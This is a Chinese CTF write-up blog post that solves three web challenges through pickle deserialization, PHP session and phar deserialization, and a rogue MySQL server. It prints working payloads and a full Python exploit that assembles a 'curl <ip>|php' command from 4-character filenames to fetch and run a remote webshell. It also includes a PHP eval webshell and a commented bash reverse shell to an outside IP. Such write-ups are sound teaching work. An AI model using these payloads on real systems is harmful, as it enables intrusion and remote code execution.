本文最后更新于:星期二, 六月 16日 2020, 2:25 下午
每一次打比赛都能感觉自己菜,不愧是我
队友 @kk 和 @Cjm00n 太顶了
整理一下高校战役赛做出来的题目的WriteUp,赛后还有一些题目要慢慢复现…
持续更新…
webtmp
这道题目是一道pickle反序列化,先贴源码
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal('secret.name', 'secret.category'))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"
sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
源码也比较简单,一开始本来想通过常用套路,也就是__reduce__()
来命令执行,但是这里:
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
杜绝了这种方法,因为__reduce__()
相当于调用了b'R'
这一操作符,那就要找其他方式了
最后出题人应该是受到这篇文章的启发:https://zhuanlan.zhihu.com/p/89132768
上面这篇文章讲的是真的好,思路是通过在栈中直接修改内存中的secret.name
和secret.category
来达到使判断条件相同的目的,具体的操作和原理还是参照上面的文章,paylaod如下
gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnJ1YQpWY2F0ZWdvcnkKVnd3dwp1YjBjX19tYWluX18KQW5pbWFsCimBfShYBAAAAG5hbWVYAwAAAHJ1YVgIAAAAY2F0ZWdvcnlYAwAAAHd3d3ViLg==
sqlcheckin
出了道原题,https://gksec.com/HNCTF2019-Final.html
Hackme
www.zip
拿到源码,是一道PHP题,涉及以下几个知识点:
session反序列化(反序列化引擎选择不同,包括
php_binary
、php
、php_serialize
)不同的页面选择了不同的反序列化引擎导致反序列化可控,三种序列化方式对应的存储格式如下:
处理引擎 对应的存储格式 php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 php 键名+竖线+经过serialize()函数反序列处理的值 php_serialize serialize()函数反序列处理数组方式 该题
init.php
中先使用php_serialize
对$_SESSION
进行了序列化,然后在profile.php
中又单独使用了php
序列化引擎// profile.php <?php error_reporting(0); session_save_path('session'); include 'lib.php'; ini_set('session.serialize_handler', 'php'); session_start(); class info { public $admin; public $sign; public function __construct() { $this->admin = $_SESSION['admin']; $this->sign = $_SESSION['sign']; } public function __destruct() { echo $this->sign; if ($this->admin === 1) { redirect('./core/index.php'); } } } $a = new info(); ?>
// init.php <?php //初始化整个页面 error_reporting(0); //lib.php包括一些常见的函数 include 'lib.php'; session_save_path('session'); ini_set('session.serialize_handler','php_serialize'); session_start();
通过
upload_sign.php
中的upload()
函数,$_SESSION
中包含的sign
可控public function upload() { if ($this->checksign($this->sign)) { $_SESSION['sign'] = $this->sign; $_SESSION['admin'] = $this->admin; } else { echo "???"; } }
由于php处理引擎是使用“键名+竖线”的方式处理session的,会忽略竖线之前的其他字符,所以我们可以直接构造一个
profile.php
中定义的info
类,然后在前面加上竖线,达到污染session,构造admin===1
的目的,payload如下:|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";N;}
将该payload作为签名更新即可
filter_var()
和parse_url()
的绕过通过第一步我们获取了
./core/index.php
的代码:<?php require_once('./init.php'); error_reporting(0); if (check_session($_SESSION)) { #hint : core/clear.php $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']); echo $sandbox; @mkdir($sandbox); @chdir($sandbox); if (isset($_POST['url'])) { $url = $_POST['url']; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) { echo "you are hacker"; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/', $res['host'])) { $code = file_get_contents($url); if (strlen($code) <= 4) { @exec($code); } else { echo "try again"; } } } } else { echo "invalid url"; } } else { highlight_file(__FILE__); } } else { die('只有管理员才能看到我哟'); }
代码的大概意思就是新建一个
./sandbox
然后你POST一个url
,这个url要满足filter_var($url, FILTER_VALIDATE_URL)
,并且经过url_parse()
之后,host
要为127.0.0.1,然后服务器就会用file_get_content
通过该url获取代码,代码长度不超过4,然后使用@exec()
执行如果是单独的绕过上述的两个函数,可以参考这个链接:https://blog.csdn.net/zhangpen130/article/details/103893922
但是绕过这两个函数之后,这个url还要是合法的,可以被
file_get_content()
解析并获得代码就有点难度了,这里贴一个payload,我也不知道它为什么能用,但是它就是能用(…compress.zlib://data:@127.0.0.1/baidu.com?,payload
这个url可以通过上述两个函数,并且
file_get_content()
解析的结果为payload,那我们直接把后面的payload替换成执行代码即可长度限制为4的命令执行
后面就只剩下这个命令执行的问题了,限制长度为4执行命令。那这一部分就跟hitcon 2017的baby-revenge-v2完全一致了
这里由于我的服务器80端口不空闲,所以我就没有复现..,贴一个月亮大哥的脚本
import requests import re from time import sleep import random import hashlib from urllib.parse import quote, unquote url = "http://121.36.222.22:88/" session = requests.Session() def login(): data = { "name": "admin", } session.post(f"{url}login.php", data=data) sign = { "sign": '|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:6:"cjm00n";}' } session.post(f"{url}?page=upload", data=sign) def get(name): res = session.get(f"{url}core/sandbox/603ea5bad7b6bad63e7a821de16173b6/{name}").text print(res) def clean(): res = session.get(f"{url}core/clear.php").text print(res) def attack(cmd): prefix = "compress.zlib://data:@127.0.0.1/baidu.com?,%s" payload = cmd data = { "url": prefix % quote(payload) } text = session.post(f"{url}core/index.php", data=data).text if len(text) > 42: print(cmd) print(text[42:]) def exp(): login() clean() # attack("ls>b") # 存放待下载文件的公网主机的IP shell_ip = 'xxx.xxx.xxx.xxx' # 将shell_IP转换成十六进制 ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')]) pos0 = random.choice('efgh') pos1 = random.choice('hkpq') pos2 = 'g' # 随意选择字符 payload = [ '>dir', # 创建名为 dir 的文件 '>%s\>' % pos0, # 假设pos0选择 f , 创建名为 f> 的文件 '>%st-' % pos1, # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1, # 因为alphabetical序中t>s '>sl', # 创建名为 >sl 的文件;到此处有四个文件, # ls 的结果会是:dir f> kt- sl '*>v', # * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v , # dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符 '>rev', # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v '*v>%s' % pos2, # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。体会一下。 # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f # 续行分割 curl 0x11223344|php 并逆序写入 '>p', '>ph\\', '>\|\\', '>%s\\' % ip[8:10], '>%s\\' % ip[6:8], '>%s\\' % ip[4:6], '>%s\\' % ip[2:4], '>%s\\' % ip[0:2], '>\ \\', '>rl\\', '>cu\\', 'sh ' + pos2, # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来, # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行 'sh ' + pos0, # sh f 执行curl命令,下载文件,写入木马。 ] print(payload) for i in payload: assert len(i) <= 4 attack(i) sleep(0.1) get("a.php?c=system('cat /flag');") if __name__ == "__main__": exp()
借鉴的是这个链接的脚本:https://findneo.github.io/171110Bypass4CLimit/
然后在服务器根目录
index.php
写入以下代码:<?php echo "<?php file_put_contents(\"a.php\", \"<?php eval(\\\$_GET[c]);?>\");?>";
然后就可以访问
a.php
命令执行了
webct
这道题涉及的知识点包括:
- rogue_mysql_server伪造服务器进行任意文件读取
- phar协议触发反序列化
- PHP POP链利用
www.zip
拿到源码,先看源码,重点是config.php
//config.php
<?php
error_reporting(0);
class Db
{
public $ip;
public $user;
public $password;
public $option;
function __construct($ip,$user,$password,$option)
{
$this->user=$user;
$this->ip=$ip;
$this->password=$password;
$this->option=$option;
}
function testquery()
{
$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);
}
$m->options($this->option,1);
$result=$m->query('select 1;');
if($result->num_rows>0)
{
echo '测试完毕,数据库服务器处于开启状态';
}
else{
echo '测试完毕,数据库服务器未开启';
}
}
}
class File
{
public $uploadfile;
function __construct($filename)
{
$this->uploadfile=$filename;
}
function xs()
{
echo '请求结束';
}
}
class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function deal()
{
$extensionarr=array("gif","jpeg","jpg","png");
$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
$type = $this->file->uploadfile['type'];
//echo "type: ".$type;
$filetypearr=array("image/jpeg","image/png","image/gif");
if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
{
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " .$this->file->uploadfile["error"] . "<br>";
die();
}else{
if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
}
$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
echo "上传成功"."<br>";
}
}
else{
echo "不被允许的文件类型"."<br>";
}
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."<br>";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}
题目给了一个文件上传和一个mysql连接,肯定都是有用的,东西这么少,一看就是个反序列化,那先看一下全场唯一一个__destruct()
,是Fileupload
类的:
function __destruct()
{
$this->file->xs();
}
调用了$this->file->xs()
,本意是调用File
类的xs()
,那我们找找有没有__call()
可以用,恰巧在Listfile
类里有一个
function __call($name, $arguments)
{
system("ls ".$this->file);
}
直接拼接,那很明显这里堆叠一下命令就是任意命令执行了。
POP链找到了下面就是如何触发的问题,全场是没有unserialize()
可以用的,恰好这里有一个文件上传,可以考虑一下用Phar来触发反序列化,贴个链接:https://paper.seebug.org/680/
但是又找不到有什么文件读取函数可以触发Phar协议,这时候就要膜一下zsx师傅了:Phar与Stream Wrapper造成PHP RCE的深入挖掘
这篇文章提到mysql其实也是可以通过LOAD DATA LOCAL INFILE
来触发php_stream_open_wrapper
的,但是需要配置
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
这个也是我们可控的
但是看到Db
类里,查询语句貌似不可控$result=$m->query('select 1;');
,但是我们可以通过使用Rogue_mysql_server
伪造mysql服务端,发出指令使得客户端去读取本地文件,从而触发php_stream_open_wrapper
https://www.cnblogs.com/BOHB-yunying/p/10820453.html
脚本用的的是https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
那最后做题的步骤就是:
- 构造POP链,并生成Phar文件
- 将Phar文件后缀改为jpg上传
- 将上传文件的路径加入到py的file_lists中
- 在接口访问搭建的rogue_mysql_server
生成phar的exp如下:
<?php
class Listfile
{
//public $file = '/;bash -i >& /dev/tcp/47.96.230.108/2333 0>&1;';
public $file = '/;/readflag;';
}
class Fileupload
{
public $file;
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Fileupload();
$o->file = new Listfile();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
将Phar文件后缀改为jpg上传,获得图片路径(这里有个坑,网页显示的不是完整路径,需要在中间加上一个目录md5($_SERVER['REMOTE_ADDR'])
,最后的路径是/uploads/528c425e95017070206b578fe52c573c/5d5c64a35450990eb77d7d75e7b79de8.jpg
把这个路径写到rogue_mysql_server.py
的file_list
里,启动服务
在网页提交如下:
最后options
填8是因为MYSQLI_OPT_LOCAL_INFILE == 8
然后就可以在页面拿到flag了
(未完待续…
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!